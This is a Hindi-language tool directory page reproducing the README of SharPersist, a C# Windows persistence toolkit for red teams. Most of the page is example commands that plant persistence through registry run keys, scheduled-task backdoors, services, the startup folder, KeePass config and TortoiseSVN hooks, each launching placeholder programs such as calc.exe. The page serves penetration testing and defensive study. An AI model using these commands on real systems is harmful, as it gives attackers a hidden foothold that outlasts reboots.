Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
SharPersist — C# टूलकिट जो रीजिस्ट्री कीज़, शेड्यूल्ड टास्क, सर्विसेज़, स्टार्टअप फोल्डर, KeePass कॉन्फ़िग्स और TortoiseSVN हुक्स के माध्यम से विंडोज़ पर्सिस्टेंस स्थापित करने और प्रबंधित करने के लिए है। | Kitploit
उपकरण/GitHubGitHub/mandiant/sharpersist
स्थायित्व तंत्रपोस्ट-शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगArchived
GitHubmandiant/sharpersist

SharPersist

C# टूलकिट जो रीजिस्ट्री कीज़, शेड्यूल्ड टास्क, सर्विसेज़, स्टार्टअप फोल्डर, KeePass कॉन्फ़िग्स और TortoiseSVN हुक्स के माध्यम से विंडोज़ पर्सिस्टेंस स्थापित करने और प्रबंधित करने के लिए है।

रिपॉजिटरी देखें
1.5k2583 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SharPersist

C# में लिखा गया विंडोज़ पर्सिस्टेंस टूलकिट। प्रत्येक तकनीक के विस्तृत उपयोग जानकारी के लिए, Wiki देखें।

लेखक - Brett Hawkins (@h4wkst3r)

रिलीज़

  • SharPersist का सार्वजनिक संस्करण 1.0.1 Releases अनुभाग में पाया जा सकता है

इंस्टॉलेशन/बिल्डिंग

प्री-कंपाइल्ड

  • Releases अनुभाग में प्री-कंपाइल्ड बाइनरी का उपयोग करें

स्वयं बिल्ड करना

प्रोजेक्ट को स्वयं संकलित (compile) करने के लिए Visual Studio सेटअप करने हेतु नीचे दिए गए चरणों का पालन करें। इसके लिए कुछ .NET लाइब्रेरियों की आवश्यकता होती है, जिन्हें NuGet पैकेज मैनेजर से इंस्टॉल किया जा सकता है।

उपयोग की गई लाइब्रेरीज़

इस प्रोजेक्ट में नीचे दी गई तृतीय-पक्ष (third-party) लाइब्रेरीज़ का उपयोग किया गया है।

लाइब्रेरीURLलाइसेंस
TaskSchedulerhttps://github.com/dahall/TaskSchedulerMIT License
Fodyhttps://github.com/Fody/FodyMIT License

बिल्ड करने के चरण

  • Visual Studio प्रोजेक्ट लोड करें और "Tools" --> "NuGet Package Manager" --> "Package Manager Settings" पर जाएँ
  • "NuGet Package Manager" --> "Package Sources" पर जाएँ
  • URL "https://api.nuget.org/v3/index.json" के साथ एक पैकेज स्रोत जोड़ें
  • Costura.Fody NuGet पैकेज इंस्टॉल करें। Costura.Fody का पुराना संस्करण (3.3.3) आवश्यक है, ताकि आपको Visual Studio 2019 की आवश्यकता न हो।
    • Install-Package Costura.Fody -Version 3.3.3
  • TaskScheduler पैकेज इंस्टॉल करें
    • Install-Package TaskScheduler -Version 2.8.11
  • अब आप प्रोजेक्ट को स्वयं बिल्ड कर सकते हैं!

तर्क/विकल्प

  • -t - पर्सिस्टेंस तकनीक
  • -c - निष्पादित करने के लिए कमांड
  • -a - निष्पादित किए जाने वाले कमांड के तर्क (यदि लागू हो)
  • -f - बनाने/संशोधित करने के लिए फ़ाइल
  • -k - बनाने/संशोधित करने के लिए रजिस्ट्री कुंजी
  • -v - बनाने/संशोधित करने के लिए रजिस्ट्री मान
  • -n - शेड्यूल्ड टास्क नाम या सेवा नाम
  • -m - विधि (add, remove, check, list)
  • -o - वैकल्पिक ऐड-ऑन
  • -h - सहायता पृष्ठ

पर्सिस्टेंस तकनीकें (-t)

  • keepass - KeePass कॉन्फ़िग फ़ाइल में बैकडोर
  • reg - रजिस्ट्री कुंजी जोड़ना/संशोधित करना
  • schtaskbackdoor - इसमें एक अतिरिक्त क्रिया जोड़कर शेड्यूल्ड टास्क को बैकडोर करना
  • startupfolder - स्टार्टअप फ़ोल्डर में lnk फ़ाइल
  • tortoisesvn - Tortoise SVN हुक स्क्रिप्ट
  • service - नई विंडोज़ सेवा बनाना
  • schtask - नया शेड्यूल्ड टास्क बनाना

विधियाँ (-m)

  • add - पर्सिस्टेंस तकनीक जोड़ें
  • remove - पर्सिस्टेंस तकनीक हटाएँ
  • check - पर्सिस्टेंस तकनीक का ड्राई-रन करें
  • list - पर्सिस्टेंस तकनीक के लिए वर्तमान प्रविष्टियाँ सूचीबद्ध करें

वैकल्पिक ऐड-ऑन (-o)

  • env - रजिस्ट्री के लिए env वेरिएबल अस्पष्टीकरण हेतु वैकल्पिक ऐड-ऑन
  • hourly - schtask आवृत्ति के लिए वैकल्पिक ऐड-ऑन
  • daily - schtask आवृत्ति के लिए वैकल्पिक ऐड-ऑन
  • logon - schtask आवृत्ति के लिए वैकल्पिक ऐड-ऑन

रजिस्ट्री कुंजियाँ (-k)

  • hklmrun
  • hklmrunonce
  • hklmrunonceex
  • hkcurun
  • hkcurunonce
  • logonscript
  • stickynotes
  • userinit

उदाहरण

पर्सिस्टेंस ट्रिगर जोड़ना (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

रजिस्ट्री

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

शेड्यूल्ड टास्क बैकडोर

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

स्टार्टअप फ़ोल्डर

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

विंडोज़ सेवा

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

शेड्यूल्ड टास्क

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

पर्सिस्टेंस ट्रिगर हटाना (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

रजिस्ट्री

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

शेड्यूल्ड टास्क बैकडोर

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

स्टार्टअप फ़ोल्डर

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

विंडोज़ सेवा

SharPersist -t service -n "Some Service" -m remove

शेड्यूल्ड टास्क

SharPersist -t schtask -n "Some Task" -m remove

पर्सिस्टेंस ट्रिगर का ड्राई रन करें (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

रजिस्ट्री

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

शेड्यूल्ड टास्क बैकडोर

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

स्टार्टअप फ़ोल्डर

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

विंडोज़ सेवा

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

शेड्यूल्ड टास्क

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

पर्सिस्टेंस ट्रिगर प्रविष्टियाँ सूचीबद्ध करें (List)

रजिस्ट्री

SharPersist -t reg -k "hkcurun" -m list

शेड्यूल्ड टास्क बैकडोर

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

स्टार्टअप फ़ोल्डर

SharPersist -t startupfolder -m list

विंडोज़ सेवा

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

शेड्यूल्ड टास्क

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon

टूल डाउनलोड करें